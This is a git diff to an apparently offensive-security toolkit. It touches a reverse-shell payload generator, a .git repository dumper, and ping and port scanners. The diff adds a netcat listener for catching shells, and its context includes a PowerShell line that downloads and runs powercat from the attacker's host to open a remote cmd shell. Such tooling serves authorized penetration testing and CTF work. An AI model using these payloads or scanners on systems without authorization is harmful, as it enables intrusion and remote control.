diff --git a/genRevShell.py b/genRevShell.py
index 934a595..7ae7dc7 100755
--- a/genRevShell.py
+++ b/genRevShell.py
@@ -28,6 +28,11 @@ def generatePayload(type, local_address, port):
     elif type == "powercat" or type == "powershell":
         return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port)
 
+def triggerShell(func, port):
+    func()
+    pty.spawn(["nc", "-lvvp", str(port)])
+
+
 if __name__ == "__main__":
 
     if len(sys.argv) < 2:
diff --git a/git-dumper.py b/git-dumper.py
index c0ed82e..3958534 100755
--- a/git-dumper.py
+++ b/git-dumper.py
@@ -453,6 +453,7 @@ def fetch_git(url, directory, jobs, retry, timeout, module=".git"):
         os.path.join(directory, module, 'FETCH_HEAD'),
         os.path.join(directory, module, 'ORIG_HEAD'),
     ]
+
     for dirpath, _, filenames in os.walk(os.path.join(directory, module, 'refs')):
         for filename in filenames:
             files.append(os.path.join(dirpath, filename))
@@ -496,11 +497,11 @@ def fetch_git(url, directory, jobs, retry, timeout, module=".git"):
 
     # fetch all objects
     printf('[-] Fetching objects\n')
-    # process_tasks(objs,
-    #               FindObjectsWorker,
-    #               jobs,
-    #               args=(url, directory, retry, timeout, module),
-    #               tasks_done=packed_objs)
+    process_tasks(objs,
+                  FindObjectsWorker,
+                  jobs,
+                  args=(url, directory, retry, timeout, module),
+                  tasks_done=packed_objs)
 
     # git checkout
     if module == ".git":
diff --git a/pingscan.py b/pingscan.py
index 1acec30..58301bd 100644
--- a/pingscan.py
+++ b/pingscan.py
@@ -4,20 +4,16 @@ import sys
 import os
 import ipaddress
 import subprocess
-from importlib import util
 
-threading_spec = util.find_spec("threading")
-queue_spec = util.find_spec("queue")
-
-if threading_spec is not None and queue_spec is not None:
+try:
     import threading
     import queue
     NUM_THREADS = 10
     THREADING_ENABLED = True
     QUEUE = queue.Queue()
-else:
+except:
     THREADING_ENABLED = False
-
+    
 def checkHost(host):
     proc = subprocess.Popen(["ping", str(host), "-c", "1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
     return proc.wait() == 0
diff --git a/portscan.py b/portscan.py
index a6e850c..f385e05 100644
--- a/portscan.py
+++ b/portscan.py
@@ -3,22 +3,18 @@
 import socket
 import sys
 import re
-from importlib import util
 
-threading_spec = util.find_spec("threading")
-queue_spec = util.find_spec("queue")
-
-if threading_spec is not None and queue_spec is not None:
+try:
     import threading
     import queue
     NUM_THREADS = 10
     THREADING_ENABLED = True
     QUEUE = queue.Queue()
-else:
+except:
     THREADING_ENABLED = False
 
 if len(sys.argv) < 2:
-    print("Usage: %s <host> [ports] [num_threads]")
+    print("Usage: %s <host> [ports] [num_threads]" % sys.argv[0])
     exit(1)
 
 host = sys.argv[1]
@@ -26,7 +22,7 @@ ports = range(1,1001)
 
 if len(sys.argv) >= 3:
     ports_param = sys.argv[2]
-    pattern = re.compile("^(\\d)+(-(\\d+)?)?$")
+    pattern = re.compile("^(\\d+)(-(\\d+)?)?$")
     m = pattern.match(ports_param)
     if m is None:
         print("Invalid port range")